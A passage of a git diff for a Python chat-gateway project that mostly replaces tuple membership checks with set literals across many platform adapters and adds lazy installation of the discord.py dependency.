session_store_max_age_days < 0: - session_store_max_age_days = 0 + session_store_max_age_days = max(session_store_max_age_days, 0) except (TypeError, ValueError): session_store_max_age_days = 90 @@ -800,7 +799,7 @@ def load_gateway_config() -> GatewayConfig: bridged["group_allow_admin_from"] = platform_cfg["group_allow_admin_from"] if "group_user_allowed_commands" in platform_cfg: bridged["group_user_allowed_commands"] = platform_cfg["group_user_allowed_commands"] - if plat in (Platform.DISCORD, Platform.SLACK) and "channel_skill_bindings" in platform_cfg: + if plat in {Platform.DISCORD, Platform.SLACK} and "channel_skill_bindings" in platform_cfg: bridged["channel_skill_bindings"] = platform_cfg["channel_skill_bindings"] if "channel_prompts" in platform_cfg: channel_prompts = platform_cfg["channel_prompts"] @@ -1180,7 +1179,7 @@ def _apply_env_overrides(config: GatewayConfig) -> None: # Reply threading mode for Telegram (off/first/all) telegram_reply_mode = os.getenv("TELEGRAM_REPLY_TO_MODE", "").lower() - if telegram_reply_mode in ("off", "first", "all"): + if telegram_reply_mode in {"off", "first", "all"}: if Platform.TELEGRAM not in config.platforms: config.platforms[Platform.TELEGRAM] = PlatformConfig() config.platforms[Platform.TELEGRAM].reply_to_mode = telegram_reply_mode @@ -1221,14 +1220,14 @@ def _apply_env_overrides(config: GatewayConfig) -> None: # Reply threading mode for Discord (off/first/all) discord_reply_mode = os.getenv("DISCORD_REPLY_TO_MODE", "").lower() - if discord_reply_mode in ("off", "first", "all"): + if discord_reply_mode in {"off", "first", "all"}: if Platform.DISCORD not in config.platforms: config.platforms[Platform.DISCORD] = PlatformConfig() config.platforms[Platform.DISCORD].reply_to_mode = discord_reply_mode # WhatsApp (typically uses different auth mechanism) - whatsapp_enabled = os.getenv("WHATSAPP_ENABLED", "").lower() in ("true", "1", "yes") - whatsapp_disabled_explicitly = os.getenv("WHATSAPP_ENABLED", "").lower() in ("false", "0", "no") + whatsapp_enabled = os.getenv("WHATSAPP_ENABLED", "").lower() in {"true", "1", "yes"} + whatsapp_disabled_explicitly = os.getenv("WHATSAPP_ENABLED", "").lower() in {"false", "0", "no"} if Platform.WHATSAPP in config.platforms: # YAML config exists — respect explicit disable wa_cfg = config.platforms[Platform.WHATSAPP] @@ -1286,7 +1285,7 @@ def _apply_env_overrides(config: GatewayConfig) -> None: config.platforms[Platform.SIGNAL].extra.update({ "http_url": signal_url, "account": signal_account, - "ignore_stories": os.getenv("SIGNAL_IGNORE_STORIES", "true").lower() in ("true", "1", "yes"), + "ignore_stories": os.getenv("SIGNAL_IGNORE_STORIES", "true").lower() in {"true", "1", "yes"}, }) signal_home = os.getenv("SIGNAL_HOME_CHANNEL") if signal_home and Platform.SIGNAL in config.platforms: @@ -1335,7 +1334,7 @@ def _apply_env_overrides(config: GatewayConfig) -> None: matrix_password = os.getenv("MATRIX_PASSWORD", "") if matrix_password: config.platforms[Platform.MATRIX].extra["password"] = matrix_password - matrix_e2ee = os.getenv("MATRIX_ENCRYPTION", "").lower() in ("true", "1", "yes") + matrix_e2ee = os.getenv("MATRIX_ENCRYPTION", "").lower() in {"true", "1", "yes"} config.platforms[Platform.MATRIX].extra["encryption"] = matrix_e2ee matrix_device_id = os.getenv("MATRIX_DEVICE_ID", "") if matrix_device_id: @@ -1400,7 +1399,7 @@ def _apply_env_overrides(config: GatewayConfig) -> None: ) # API Server - api_server_enabled = os.getenv("API_SERVER_ENABLED", "").lower() in ("true", "1", "yes") + api_server_enabled = os.getenv("API_SERVER_ENABLED", "").lower() in {"true", "1", "yes"} api_server_key = os.getenv("API_SERVER_KEY", "") api_server_cors_origins = os.getenv("API_SERVER_CORS_ORIGINS", "") api_server_port = os.getenv("API_SERVER_PORT") @@ -1427,7 +1426,7 @@ def _apply_env_overrides(config: GatewayConfig) -> None: config.platforms[Platform.API_SERVER].extra["model_name"] = api_server_model_name # Webhook platform - webhook_enabled = os.getenv("WEBHOOK_ENABLED", "").lower() in ("true", "1", "yes") + webhook_enabled = os.getenv("WEBHOOK_ENABLED", "").lower() in {"true", "1", "yes"} webhook_port = os.getenv("WEBHOOK_PORT") webhook_secret = os.getenv("WEBHOOK_SECRET", "") if webhook_enabled: @@ -1443,11 +1442,11 @@ def _apply_env_overrides(config: GatewayConfig) -> None: config.platforms[Platform.WEBHOOK].extra["secret"] = webhook_secret # Microsoft Graph webhook platform - msgraph_webhook_enabled = os.getenv("MSGRAPH_WEBHOOK_ENABLED", "").lower() in ( + msgraph_webhook_enabled = os.getenv("MSGRAPH_WEBHOOK_ENABLED", "").lower() in { "true", "1", "yes", - ) + } msgraph_webhook_port = os.getenv("MSGRAPH_WEBHOOK_PORT") msgraph_webhook_client_state = os.getenv("MSGRAPH_WEBHOOK_CLIENT_STATE", "") msgraph_webhook_resources = os.getenv("MSGRAPH_WEBHOOK_ACCEPTED_RESOURCES", "") @@ -1641,7 +1640,7 @@ def _apply_env_overrides(config: GatewayConfig) -> None: "webhook_host": os.getenv("BLUEBUBBLES_WEBHOOK_HOST", "127.0.0.1"), "webhook_port": int(os.getenv("BLUEBUBBLES_WEBHOOK_PORT", "8645")), "webhook_path": os.getenv("BLUEBUBBLES_WEBHOOK_PATH", "/bluebubbles-webhook"), - "send_read_receipts": os.getenv("BLUEBUBBLES_SEND_READ_RECEIPTS", "true").lower() in ("true", "1", "yes"), + "send_read_receipts": os.getenv("BLUEBUBBLES_SEND_READ_RECEIPTS", "true").lower() in {"true", "1", "yes"}, }) bluebubbles_home = os.getenv("BLUEBUBBLES_HOME_CHANNEL") if bluebubbles_home and Platform.BLUEBUBBLES in config.platforms: diff --git a/gateway/display_config.py b/gateway/display_config.py index 2d8f40f115f9..ab0e3bdd6708 100644 --- a/gateway/display_config.py +++ b/gateway/display_config.py @@ -190,9 +190,13 @@ def _normalise(setting: str, value: Any) -> Any: if value is True: return "all" return str(value).lower() - if setting in ("show_reasoning", "streaming"): + if setting in {"show_reasoning", "streaming"}: if isinstance(value, str): - return value.lower() in ("true", "1", "yes", "on") + return value.lower() in {"true", "1", "yes", "on"} + return bool(value) + if setting == "cleanup_progress": + if isinstance(value, str): + return value.lower() in {"true", "1", "yes", "on"} return bool(value) if setting == "cleanup_progress": if isinstance(value, str): diff --git a/gateway/platforms/api_server.py b/gateway/platforms/api_server.py index 357ecbd47851..497adbd19c6b 100644 --- a/gateway/platforms/api_server.py +++ b/gateway/platforms/api_server.py @@ -449,7 +449,7 @@ def _openai_error(message: str, err_type: str = "invalid_request_error", param: @web.middleware async def body_limit_middleware(request, handler): """Reject overly large request bodies early based on Content-Length.""" - if request.method in ("POST", "PUT", "PATCH"): + if request.method in {"POST", "PUT", "PATCH"}: cl = request.headers.get("Content-Length") if cl is not None: try: @@ -646,7 +646,7 @@ def _resolve_model_name(explicit: str) -> str: try: from hermes_cli.profiles import get_active_profile_name profile = get_active_profile_name() - if profile and profile not in ("default", "custom"): + if profile and profile not in {"default", "custom"}: return profile except Exception: pass @@ -1003,7 +1003,7 @@ async def _handle_chat_completions(self, request: "web.Request") -> "web.Respons system_prompt = content else: system_prompt = system_prompt + "\n" + content - elif role in ("user", "assistant"): + elif role in {"user", "assistant"}: try: content = _normalize_multimodal_content(raw_content) except ValueError as exc: @@ -2381,7 +2381,7 @@ async def _handle_list_jobs(self, request: "web.Request") -> "web.Response": if cron_err: return cron_err try: - include_disabled = request.query.get("include_disabled", "").lower() in ("true", "1") + include_disabled = request.query.get("include_disabled", "").lower() in {"true", "1"} jobs = _cron_list(include_disabled=include_disabled) return web.json_response({"jobs": jobs}) except Exception as e: diff --git a/gateway/platforms/base.py b/gateway/platforms/base.py index 8e1f83c9b2a0..ec0323d4738c 100644 --- a/gateway/platforms/base.py +++ b/gateway/platforms/base.py @@ -560,7 +560,7 @@ def _looks_like_image(data: bytes) -> bool: return True if data[:3] == b"\xff\xd8\xff": return True - if data[:6] in (b"GIF87a", b"GIF89a"): + if data[:6] in {b"GIF87a", b"GIF89a"}: return True if data[:2] == b"BM": return True @@ -859,7 +859,7 @@ def cache_document_from_bytes(data: bytes, filename: str) -> str: # Sanitize: strip directory components, null bytes, and control characters safe_name = Path(filename).name if filename else "document" safe_name = safe_name.replace("\x00", "").strip() - if not safe_name or safe_name in (".", ".."): + if not safe_name or safe_name in {".", ".."}: safe_name = "document" cached_name = f"doc_{uuid.uuid4().hex[:12]}_{safe_name}" filepath = cache_dir / cached_name @@ -2793,7 +2793,7 @@ async def handle_message(self, event: MessageEvent) -> None: # and preserve ordering of queued follow-ups. Route those # through the dedicated handoff path that serializes # cancellation + runner response + pending drain. - if cmd in ("stop", "new", "reset"): + if cmd in {"stop", "new", "reset"}: try: await self._dispatch_active_session_command(event, session_key, cmd) except Exception as e: diff --git a/gateway/platforms/bluebubbles.py b/gateway/platforms/bluebubbles.py index 31120785c09a..7a4af3ad6857 100644 --- a/gateway/platforms/bluebubbles.py +++ b/gateway/platforms/bluebubbles.py @@ -223,7 +223,7 @@ async def disconnect(self) -> None: def _webhook_url(self) -> str: """Compute the external webhook URL for BlueBubbles registration.""" host = self.webhook_host - if host in ("0.0.0.0", "127.0.0.1", "localhost", "::"): + if host in {"0.0.0.0", "127.0.0.1", "localhost", "::"}: host = "localhost" return f"http://{host}:{self.webhook_port}{self.webhook_path}" diff --git a/gateway/platforms/dingtalk.py b/gateway/platforms/dingtalk.py index 5c2285f24bb6..579c382c7049 100644 --- a/gateway/platforms/dingtalk.py +++ b/gateway/platforms/dingtalk.py @@ -353,9 +353,9 @@ def _dingtalk_require_mention(self) -> bool: configured = self.config.extra.get("require_mention") if configured is not None: if isinstance(configured, str): - return configured.lower() in ("true", "1", "yes", "on") + return configured.lower() in {"true", "1", "yes", "on"} return bool(configured) - return os.getenv("DINGTALK_REQUIRE_MENTION", "false").lower() in ("true", "1", "yes", "on") + return os.getenv("DINGTALK_REQUIRE_MENTION", "false").lower() in {"true", "1", "yes", "on"} def _dingtalk_free_response_chats(self) -> Set[str]: raw = self.config.extra.get("free_response_chats") diff --git a/gateway/platforms/discord.py b/gateway/platforms/discord.py index e11a60933194..1817ece173db 100644 --- a/gateway/platforms/discord.py +++ b/gateway/platforms/discord.py @@ -86,8 +86,32 @@ def _clean_discord_id(entry: str) -> str: def check_discord_requirements() -> bool: - """Check if Discord dependencies are available.""" - return DISCORD_AVAILABLE + """Check if Discord dependencies are available. + + Lazy-installs discord.py via ``tools.lazy_deps.ensure("platform.discord")`` + on first call if not present. After successful install, re-binds module + globals so ``DISCORD_AVAILABLE`` becomes True. + """ + global DISCORD_AVAILABLE, discord, DiscordMessage, Intents, commands + if DISCORD_AVAILABLE: + return True + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("platform.discord", prompt=False) + except Exception: + return False + try: + import discord as _discord + from discord import Message as _DM, Intents as _Intents + from discord.ext import commands as _commands + except ImportError: + return False + discord = _discord + DiscordMessage = _DM + Intents = _Intents + commands = _commands + DISCORD_AVAILABLE = True + return True def _build_allowed_mentions(): @@ -115,7 +139,7 @@ def _b(name: str, default: bool) -> bool: raw = os.getenv(name, "").strip().lower() if not raw: return default - return raw in ("true", "1", "yes", "on") + return raw in {"true", "1", "yes", "on"} return discord.AllowedMentions( everyone=_b("DISCORD_ALLOW_MENTION_EVERYONE", False), @@ -708,7 +732,7 @@ async def on_message(message: DiscordMessage): # Ignore Discord system messages (thread renames, pins, member joins, etc.) # Allow both default and reply types — replies have a distinct MessageType. - if message.type not in (discord.MessageType.default, discord.MessageType.reply): + if message.type not in {discord.MessageType.default, discord.MessageType.reply}: return # Bot message filtering (DISCORD_ALLOW_BOTS): @@ -769,7 +793,7 @@ async def on_message(message: DiscordMessage): # answer regardless of who is mentioned. _ignore_no_mention = os.getenv( "DISCORD_IGNORE_NO_MENTION", "true" - ).lower() in ("true", "1", "yes") + ).lower() in {"true", "1", "yes"} if _ignore_no_mention and not _self_mentioned and not _other_bots_mentioned: _channel_id = str(message.channel.id) _parent_id = None @@ -1317,7 +1341,7 @@ async def _remove_reaction(self, message: Any, emoji: str) -> bool: def _reactions_enabled(self) -> bool: """Check if message reactions are enabled via config/env.""" - return os.getenv("DISCORD_REACTIONS", "true").lower() not in ("false", "0", "no") + return os.getenv("DISCORD_REACTIONS", "true").lower() not in {"false", "0", "no"} async def on_processing_start(self, event: MessageEvent) -> None: """Add an in-progress reaction for normal Discord message events.""" @@ -3137,9 +3161,9 @@ async def _handler(interaction: discord.Interaction): # UX so users don't see commands they can't invoke. Off by default # to preserve the slash UX for deployments that intentionally allow # everyone in the guild. - if os.getenv("DISCORD_HIDE_SLASH_COMMANDS", "false").strip().lower() in ( + if os.getenv("DISCORD_HIDE_SLASH_COMMANDS", "false").strip().lower() in { "true", "1", "yes", "on", - ): + }: self._apply_owner_only_visibility(tree) def _apply_owner_only_visibility(self, tree) -> None: @@ -3526,9 +3550,9 @@ def _discord_require_mention(self) -> bool: configured = self.config.extra.get("require_mention") if configured is not None: if isinstance(configured, str): - return configured.lower() not in ("false", "0", "no", "off") + return configured.lower() not in {"false", "0", "no", "off"} return bool(configured) - return os.getenv("DISCORD_REQUIRE_MENTION", "true").lower() not in ("false", "0", "no", "off") + return os.getenv("DISCORD_REQUIRE_MENTION", "true").lower() not in {"false", "0", "no", "off"} def _discord_free_response_channels(self) -> set: """Return Discord channel IDs where no bot mention is required. @@ -3724,7 +3748,7 @@ async def create_handoff_thread( return None # DMs, voice channels, and existing threads can't host child threads. - if isinstance(parent, getattr(discord, "DMChannel", tuple())): + if isinstance(parent, getattr(discord, "DMChannel", ())): logger.info( "[%s] Handoff thread: parent %s is a DM; threads not supported here", self.name, parent_chat_id, @@ -4200,7 +4224,7 @@ async def _handle_message(self, message: DiscordMessage) -> None: no_thread_channels_raw = os.getenv("DISCORD_NO_THREAD_CHANNELS", "") no_thread_channels = {ch.strip() for ch in no_thread_channels_raw.split(",") if ch.strip()} skip_thread = bool(channel_ids & no_thread_channels) - auto_thread = os.getenv("DISCORD_AUTO_THREAD", "true").lower() in ("true", "1", "yes") + auto_thread = os.getenv("DISCORD_AUTO_THREAD", "true").lower() in {"true", "1", "yes"} is_reply_message = getattr(message, "type", None) == discord.MessageType.reply if auto_thread and not skip_thread and not is_voice_linked_channel and not is_reply_message: thread = await self._auto_create_thread(message) @@ -4282,7 +4306,7 @@ async def _handle_message(self, message: DiscordMessage) -> None: try: # Determine extension from content type (image/png -> .png) ext = "." + content_type.split("/")[-1].split(";")[0] - if ext not in (".jpg", ".jpeg", ".png", ".gif", ".webp"): + if ext not in {".jpg", ".jpeg", ".png", ".gif", ".webp"}: ext = ".jpg" cached_path = await self._cache_discord_image(att, ext) media_urls.append(cached_path) @@ -4296,7 +4320,7 @@ async def _handle_message(self, message: DiscordMessage) -> None: elif content_type.startswith("audio/"): try: ext = "." + content_type.split("/")[-1].split(";")[0] - if ext not in (".ogg", ".mp3", ".wav", ".webm", ".m4a"): + if ext not in {".ogg", ".mp3", ".wav", ".webm", ".m4a"}: ext = ".ogg" cached_path = await self._cache_discord_audio(att, ext) media_urls.append(cached_path) @@ -4339,7 +4363,7 @@ async def _handle_message(self, message: DiscordMessage) -> None: logger.info("[Discord] Cached user document: %s", cached_path) # Inject text content for plain-text documents (capped at 100 KB) MAX_TEXT_INJECT_BYTES = 100 * 1024 - if ext in (".md", ".txt", ".log") and len(raw_bytes) <= MAX_TEXT_INJECT_BYTES: + if ext in {".md", ".txt", ".log"} and len(raw_bytes) <= MAX_TEXT_INJECT_BYTES: try: text_content = raw_bytes.decode("utf-8") display_name = att.filename or f"document{ext}" diff --git a/gateway/platforms/email.py b/gateway/platforms/email.py index fb44ad308e7d..0fffb82d0b94 100644 --- a/gateway/platforms/email.py +++ b/gateway/platforms/email.py @@ -54,7 +54,7 @@ # RFC headers that indicate bulk/automated mail _AUTOMATED_HEADERS = { "Auto-Submitted": lambda v: v.lower() != "no", - "Precedence": lambda v: v.lower() in ("bulk", "list", "junk"), + "Precedence": lambda v: v.lower() in {"bulk", "list", "junk"}, "X-Auto-Response-Suppress": lambda v: bool(v), "List-Unsubscribe": lambda v: bool(v), } @@ -203,7 +203,7 @@ def _extract_attachments( continue # Skip text/plain and text/html body parts content_type = part.get_content_type() - if content_type in ("text/plain", "text/html") and "attachment" not in disposition: + if content_type in {"text/plain", "text/html"} and "attachment" not in disposition: continue filename = part.get_filename() diff --git a/gateway/platforms/feishu.py b/gateway/platforms/feishu.py index 46604fa1e304..ae3f70751046 100644 --- a/gateway/platforms/feishu.py +++ b/gateway/platforms/feishu.py @@ -428,7 +428,7 @@ class FeishuBatchState: def _is_bot_sender(sender: Any) -> bool: # receive_v1 docs say {user, bot}; accept "app" defensively. - return getattr(sender, "sender_type", "") in ("bot", "app") + return getattr(sender, "sender_type", "") in {"bot", "app"} def _sender_identity(sender: Any) -> frozenset: @@ -1428,8 +1428,8 @@ def _load_settings(extra: Dict[str, Any]) -> FeishuAdapterSettings: per_chat_require_mention = _to_boolean(rule_cfg.get("require_mention")) group_rules[str(chat_id)] = FeishuGroupRule( policy=str(rule_cfg.get("policy", "open")).strip().lower(), - allowlist=set(str(u).strip() for u in rule_cfg.get("allowlist", []) if str(u).strip()), - blacklist=set(str(u).strip() for u in rule_cfg.get("blacklist", []) if str(u).strip()), + allowlist={str(u).strip() for u in rule_cfg.get("allowlist", []) if str(u).strip()}, + blacklist={str(u).strip() for u in rule_cfg.get("blacklist", []) if str(u).strip()}, require_mention=per_chat_require_mention, ) @@ -1443,7 +1443,7 @@ def _load_settings(extra: Dict[str, Any]) -> FeishuAdapterSettings: # Env-only so adapter and gateway auth bypass share one source; yaml # feishu.allow_bots is bridged to this env var at config load. allow_bots = os.getenv("FEISHU_ALLOW_BOTS", "none").strip().lower() - if allow_bots not in ("none", "mentions", "all"): + if allow_bots not in {"none", "mentions", "all"}: logger.warning( "[Feishu] Unknown allow_bots=%r, falling back to 'none'. Valid: none, mentions, all.", allow_bots, @@ -2752,7 +2752,7 @@ async def _handle_message_with_guards(self, event: MessageEvent) -> None: # ========================================================================= def _reactions_enabled(self) -> bool: - return os.getenv("FEISHU_REACTIONS", "true").strip().lower() not in ("false", "0", "no") + return os.getenv("FEISHU_REACTIONS", "true").strip().lower() not in {"false", "0", "no"} async def _add_reaction(self, message_id: str, emoji_type: str) -> Optional[str]: """Return the reaction_id on success, else None. The id is needed later for deletion.""" @@ -3219,7 +3219,7 @@ async def _handle_webhook_request(self, request: Any) -> Any: self._on_bot_added_to_chat(data) elif event_type == "im.chat.member.bot.deleted_v1": self._on_bot_removed_from_chat(data) - elif event_type in ("im.message.reaction.created_v1", "im.message.reaction.deleted_v1"): + elif event_type in {"im.message.reaction.created_v1", "im.message.reaction.deleted_v1"}: self._on_reaction_event(event_type, data) elif event_type == "card.action.trigger": self._on_card_action_trigger(data) @@ -4815,7 +4815,7 @@ def _poll_registration( # Terminal errors error = res.get("error", "") - if error in ("access_denied", "expired_token"): + if error in {"access_denied", "expired_token"}: if poll_count > 0: print() logger.warning("[Feishu onboard] Registration %s", error) diff --git a/gateway/platforms/feishu_comment.py b/gateway/platforms/feishu_comment.py index 08cd35185c67..4d757cc76467 100644 --- a/gateway/platforms/feishu_comment.py +++ b/gateway/platforms/feishu_comment.py @@ -690,7 +690,7 @@ def _extract_docs_links(replies: List[Dict[str, Any]]) -> List[Dict[str, str]]: except (json.JSONDecodeError, TypeError): continue for elem in content.get("elements", []): - if elem.get("type") not in ("docs_link", "link"): + if elem.get("type") not in {"docs_link", "link"}: continue link_data = elem.get("docs_link") or elem.get("link") or {} url = link_data.get("url", "") @@ -1031,7 +1031,7 @@ def _save_session_history(key: str, messages: List[Dict[str, Any]]) -> None: # Only keep user/assistant messages (strip system messages and tool internals) cleaned = [ m for m in messages - if m.get("role") in ("user", "assistant") and m.get("content") + if m.get("role") in {"user", "assistant"} and m.get("content") ] # Keep last N if len(cleaned) > _SESSION_MAX_MESSAGES: @@ -1170,7 +1170,7 @@ async def handle_drive_comment_event( rule = resolve_rule(comments_cfg, file_type, file_token) # If no exact match and config has wiki keys, try reverse-lookup - if rule.match_source in ("wildcard", "top") and has_wiki_keys(comments_cfg): + if rule.match_source in {"wildcard", "top"} and has_wiki_keys(comments_cfg): wiki_token = await _reverse_lookup_wiki_token(client, file_type, file_token) if wiki_token: rule = resolve_rule(comments_cfg, file_type, file_token, wiki_token=wiki_token) diff --git a/gateway/platforms/feishu_comment_rules.py b/gateway/platforms/feishu_comment_rules.py index 054ef9569898..25927bafb0a1 100644 --- a/gateway/platforms/feishu_comment_rules.py +++ b/gateway/platforms/feishu_comment_rules.py @@ -228,7 +228,7 @@ def _load_pairing_approved() -> set: if isinstance(approved, dict): return set(approved.keys()) if isinstance(approved, list): - return set(str(u) for u in approved if u) + return {str(u) for u in approved if u} return set() diff --git a/gateway/platforms/helpers.py b/gateway/platforms/helpers.py index 673beeac9b45..1c4f451585ae 100644 --- a/gateway/platforms/helpers.py +++ b/gateway/platforms/helpers.py @@ -246,7 +246,7 @@ def _save(self) -> None: thread_list = list(self._threads) if len(thread_list) > self._max_tracked: thread_list = thread_list[-self._max_tracked:] - self._threads = {thread_id: None for thread_id in thread_list} + self._threads = dict.fromkeys(thread_list) atomic_json_write(path, thread_list, indent=None) def mark(self, thread_id: str) -> None: diff --git a/gateway/platforms/homeassistant.py b/gateway/platforms/homeassistant.py index 6bc9ae6eb613..e7ea762e2e73 100644 --- a/gateway/platforms/homeassistant.py +++ b/gateway/platforms/homeassistant.py @@ -256,7 +256,7 @@ async def _read_events(self) -> None: await self._handle_ha_event(data.get("event", {})) except json.JSONDecodeError: logger.debug("Invalid JSON from HA WS: %s", ws_msg.data[:200]) - elif ws_msg.type in (aiohttp.WSMsgType.CLOSED, aiohttp.WSMsgType.ERROR): + elif ws_msg.type in {aiohttp.WSMsgType.CLOSED, aiohttp.WSMsgType.ERROR}: break async def _handle_ha_event(self, event: Dict[str, Any]) -> None: @@ -361,7 +361,7 @@ def _format_state_change( f"(was {'triggered' if old_val == 'on' else 'cleared'})" ) - if domain in ("light", "switch", "fan"): + if domain in {"light", "switch", "fan"}: return ( f"[Home Assistant] {friendly_name}: turned " f"{'on' if new_val == 'on' else 'off'}" diff --git a/gateway/platforms/matrix.py b/gateway/platforms/matrix.py index 12e840b69c4e..0133dc2dac70 100644 --- a/gateway/platforms/matrix.py +++ b/gateway/platforms/matrix.py @@ -245,11 +245,11 @@ def check_matrix_requirements() -> bool: # If encryption is requested, verify E2EE deps are available at startup # rather than silently degrading to plaintext-only at connect time. - encryption_requested = os.getenv("MATRIX_ENCRYPTION", "").lower() in ( + encryption_requested = os.getenv("MATRIX_ENCRYPTION", "").lower() in { "true", "1", "yes", - ) + } if encryption_requested and not _check_e2ee_deps(): logger.error( "Matrix: MATRIX_ENCRYPTION=true but E2EE dependencies are missing. %s. " @@ -312,7 +312,7 @@ def __init__(self, config: PlatformConfig): ) self._encryption: bool = config.extra.get( "encryption", - os.getenv("MATRIX_ENCRYPTION", "").lower() in ("true", "1", "yes"), + os.getenv("MATRIX_ENCRYPTION", "").lower() in {"true", "1", "yes"}, ) self._device_id: str = config.extra.get("device_id", "") or os.getenv( "MATRIX_DEVICE_ID", "" @@ -343,7 +343,7 @@ def __init__(self, config: PlatformConfig): # Mention/thread gating — parsed once from env vars. self._require_mention: bool = os.getenv( "MATRIX_REQUIRE_MENTION", "true" - ).lower() not in ("false", "0", "no") + ).lower() not in {"false", "0", "no"} free_rooms_raw = config.extra.get("free_response_rooms") if free_rooms_raw is None: free_rooms_raw = os.getenv("MATRIX_FREE_RESPONSE_ROOMS", "") @@ -367,22 +367,22 @@ def __init__(self, config: PlatformConfig): self._allowed_rooms: Set[str] = { r.strip() for r in str(allowed_rooms_raw).split(",") if r.strip() } - self._auto_thread: bool = os.getenv("MATRIX_AUTO_THREAD", "true").lower() in ( + self._auto_thread: bool = os.getenv("MATRIX_AUTO_THREAD", "true").lower() in { "true", "1", "yes", - ) + } self._dm_auto_thread: bool = os.getenv( "MATRIX_DM_AUTO_THREAD", "false" - ).lower() in ("true", "1", "yes") + ).lower() in {"true", "1", "yes"} self._dm_mention_threads: bool = os.getenv( "MATRIX_DM_MENTION_THREADS", "false" - ).lower() in ("true", "1", "yes") + ).lower() in {"true", "1", "yes"} # Reactions: configurable via MATRIX_REACTIONS (default: true). self._reactions_enabled: bool = os.getenv( "MATRIX_REACTIONS", "true" - ).lower() not in ("false", "0", "no") + ).lower() not in {"false", "0", "no"} self._pending_reactions: dict[tuple[str, str], str] = {} # Delay before redacting reactions so Matrix homeservers have time to # deliver the final message event without tripping "missing event" @@ -1771,9 +1771,9 @@ async def _handle_media_message( # Cache media locally when downstream tools need a real file path. cached_path = None - should_cache_locally = msg_type in ( + should_cache_locally = msg_type in { MessageType.PHOTO, MessageType.AUDIO, MessageType.VIDEO, MessageType.DOCUMENT, - ) or is_voice_message or is_encrypted_media + } or is_voice_message or is_encrypted_media if should_cache_locally and url: try: file_bytes = await self._client.download_media(ContentURI(url)) @@ -1834,7 +1834,7 @@ async def _handle_media_message( ext = ext_map.get(media_type, ".jpg") cached_path = cache_image_from_bytes(file_bytes, ext=ext) logger.info("[Matrix] Cached user image at %s", cached_path) - elif msg_type in (MessageType.AUDIO, MessageType.VOICE): + elif msg_type in {MessageType.AUDIO, MessageType.VOICE}: ext = ( Path( body @@ -2602,7 +2602,7 @@ def _sanitize_link_url(url: str) -> str: """Sanitize a URL for use in an href attribute.""" stripped = url.strip() scheme = stripped.split(":", 1)[0].lower().strip() if ":" in stripped else "" - if scheme in ("javascript", "data", "vbscript"): + if scheme in {"javascript", "data", "vbscript"}: return "" return stripped.replace('"', """) diff --git a/gateway/platforms/mattermost.py b/gateway/platforms/mattermost.py index 3ffd74326d36..9487f8a1edfc 100644 --- a/gateway/platforms/mattermost.py +++ b/gateway/platforms/mattermost.py @@ -611,7 +611,7 @@ async def _ws_loop(self) -> None: # succeed on retry — stop reconnecting instead of looping forever. import aiohttp err_str = str(exc).lower() - if isinstance(exc, aiohttp.WSServerHandshakeError) and exc.status in (401, 403): + if isinstance(exc, aiohttp.WSServerHandshakeError) and exc.status in {401, 403}: logger.error("Mattermost WS auth failed (HTTP %d) — stopping reconnect", exc.status) return if "401" in err_str or "403" in err_str or "unauthorized" in err_str: @@ -649,21 +649,21 @@ async def _ws_connect_and_listen(self) -> None: if self._closing: return - if raw_msg.type in ( + if raw_msg.type in { raw_msg.type.TEXT, raw_msg.type.BINARY, - ): + }: try: event = json.loads(raw_msg.data) except (json.JSONDecodeError, TypeError): continue await self._handle_ws_event(event) - elif raw_msg.type in ( + elif raw_msg.type in { raw_msg.type.ERROR, raw_msg.type.CLOSE, raw_msg.type.CLOSING, raw_msg.type.CLOSED, - ): + }: logger.info("Mattermost: WebSocket closed (%s)", raw_msg.type) break @@ -732,7 +732,7 @@ async def _handle_ws_event(self, event: Dict[str, Any]) -> None: require_mention = os.getenv( "MATTERMOST_REQUIRE_MENTION", "true" - ).lower() not in ("false", "0", "no") + ).lower() not in {"false", "0", "no"} free_channels_raw = os.getenv("MATTERMOST_FREE_RESPONSE_CHANNELS", "") free_channels = {ch.strip() for ch in free_channels_raw.split(",") if ch.strip()} diff --git a/gateway/platforms/qqbot/adapter.py b/gateway/platforms/qqbot/adapter.py index 12caef0f1449..b7a306f9b693 100644 --- a/gateway/platforms/qqbot/adapter.py +++ b/gateway/platforms/qqbot/adapter.py @@ -513,7 +513,7 @@ async def _listen_loop(self) -> None: self._fail_pending("Connection closed") # Stop reconnecting for fatal codes - if code in (4914, 4915): + if code in {4914, 4915}: desc = "offline/sandbox-only" if code == 4914 else "banned" logger.error( "[%s] Bot is %s. Check QQ Open Platform.", self._log_tag, desc @@ -550,7 +550,7 @@ async def _listen_loop(self) -> None: self._token_expires_at = 0.0 # Session invalid → clear session, will re-identify on next Hello - if code in ( + if code in { 4006, 4007, 4009, @@ -568,7 +568,7 @@ async def _listen_loop(self) -> None: 4911, 4912, 4913, - ): + }: logger.info( "[%s] Session error (%d), clearing session for re-identify", self._log_tag, @@ -637,12 +637,12 @@ async def _read_events(self) -> None: payload = self._parse_json(msg.data) if payload: self._dispatch_payload(payload) - elif msg.type in (aiohttp.WSMsgType.PING,): + elif msg.type in {aiohttp.WSMsgType.PING,}: # aiohttp auto-replies with PONG pass elif msg.type == aiohttp.WSMsgType.CLOSE: raise QQCloseError(msg.data, msg.extra) - elif msg.type in (aiohttp.WSMsgType.CLOSED, aiohttp.WSMsgType.ERROR): + elif msg.type in {aiohttp.WSMsgType.CLOSED, aiohttp.WSMsgType.ERROR}: raise RuntimeError("WebSocket closed") async def _heartbeat_loop(self) -> None: @@ -783,13 +783,13 @@ def _dispatch_payload(self, payload: Dict[str, Any]) -> None: self._handle_ready(d) elif t == "RESUMED": logger.info("[%s] Session resumed", self._log_tag) - elif t in ( + elif t in { "C2C_MESSAGE_CREATE", "GROUP_AT_MESSAGE_CREATE", "DIRECT_MESSAGE_CREATE", "GUILD_MESSAGE_CREATE", "GUILD_AT_MESSAGE_CREATE", - ): + }: asyncio.create_task(self._on_message(t, d)) elif t == "INTERACTION_CREATE": self._create_task(self._on_interaction(d)) @@ -859,9 +859,9 @@ async def _on_message(self, event_type: str, d: Any) -> None: # Route by event type if event_type == "C2C_MESSAGE_CREATE": await self._handle_c2c_message(d, msg_id, content, author, timestamp) - elif event_type in ("GROUP_AT_MESSAGE_CREATE",): + elif event_type in {"GROUP_AT_MESSAGE_CREATE",}: await self._handle_group_message(d, msg_id, content, author, timestamp) - elif event_type in ("GUILD_MESSAGE_CREATE", "GUILD_AT_MESSAGE_CREATE"): + elif event_type in {"GUILD_MESSAGE_CREATE", "GUILD_AT_MESSAGE_CREATE"}: await self._handle_guild_message(d, msg_id, content, author, timestamp) elif event_type == 